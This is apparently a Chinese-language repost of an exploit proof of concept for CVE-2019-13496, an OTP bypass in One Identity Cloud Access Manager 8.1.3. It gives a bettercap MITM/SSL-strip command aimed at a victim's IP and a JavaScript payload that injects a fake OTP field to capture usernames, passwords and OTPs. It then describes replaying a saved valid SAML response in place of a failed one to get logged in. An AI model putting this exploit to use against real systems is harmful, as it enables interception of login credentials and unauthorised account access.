CVE-2019-13496 — 概念验证漏洞利用程序,演示了如何通过中间人攻击/SSL剥离、SAML响应重放以及注入JavaScript窃取凭证,来绕过One Identity Cloud Access Manager 8.1.3中的OTP。 | Kitploit
furqankhan1/cve-2019-13496CVE-2019-13496
概念验证漏洞利用程序,演示了如何通过中间人攻击/SSL剥离、SAML响应重放以及注入JavaScript窃取凭证,来绕过One Identity Cloud Access Manager 8.1.3中的OTP。
22516年前
CVE-2019-13496
漏洞利用标题:OTP绕过(文件完整性检查缺失)
日期:2019年10月7日
漏洞利用作者:Furqan Khan
厂商主页:https://www.oneidentity.com/
软件链接:https://www.oneidentity.com/products/cloud-access-manager/
版本:8.1.3
测试环境:Kali Linux, Windows 7, Ubuntu 16.04
要利用OTP绕过漏洞,攻击者需借助先前发现的MITM/SSL-Strip漏洞 CVE-2019-13498 , CVE-2019-13498 。攻击者执行MITM/SSL strip攻击,从而在提供给受害者的网页中注入一个OTP文本框。受害者输入其用户名、密码以及由名为defender(由同一厂商拥有)的应用生成的OTP。攻击者截获用户名、密码和OTP,然后尝试通过合法工作流访问应用程序。在输入(窃取的)用户名和密码后,攻击者在下一页输入窃取的OTP。提交OTP页面的请求时,签名的SAML响应被保存。尽管攻击者无法访问生成OTP的应用,但可以在后续交易中输入无效OTP,当应用程序判定OTP无效时,攻击者可将失败的SAML响应替换为先前获取的合法SAML响应,而应用程序未能执行完整性检查,从而让攻击者登录。
使用的bettercap命令为:
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js
此处192.168.1.103是受害者的IP地址。如果不知道IP,可使用bettercap嗅探并篡改整个局域网(攻击者和受害者共同网络)的内容。
inject_js.js 的内容如下
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
当受害者浏览产品(Cloud Access Manager)时,由于缓存投毒和SSL strip(Bettercap),通过注入的JavaScript代码片段,一个OTP文本框将被注入到提供给受害者的页面中。#####
由于连接通过ssl-strip被降级为http,所有流量对攻击者可见。因此我们可以截获流量,并看到受害者提交的用户名、密码和OTP。#####
现在假设我们已经使用保存的凭证成功登录一次,并保存了所有有效的请求和响应。
在本节中,我们将学习如何利用之前保存的OTP响应来绕过OTP验证,从而登录应用程序。
输入一个无效的OTP,如下图所示:
下图是验证失败的OTP响应。
将失败的响应替换为之前保存的合法响应。
下图是验证失败的SAML响应。
将失败的响应替换为之前保存的合法SAML响应。
宾果!应用程序让我们登录了。理想情况下,它应该执行完整性检查,并考虑到OTP已过期。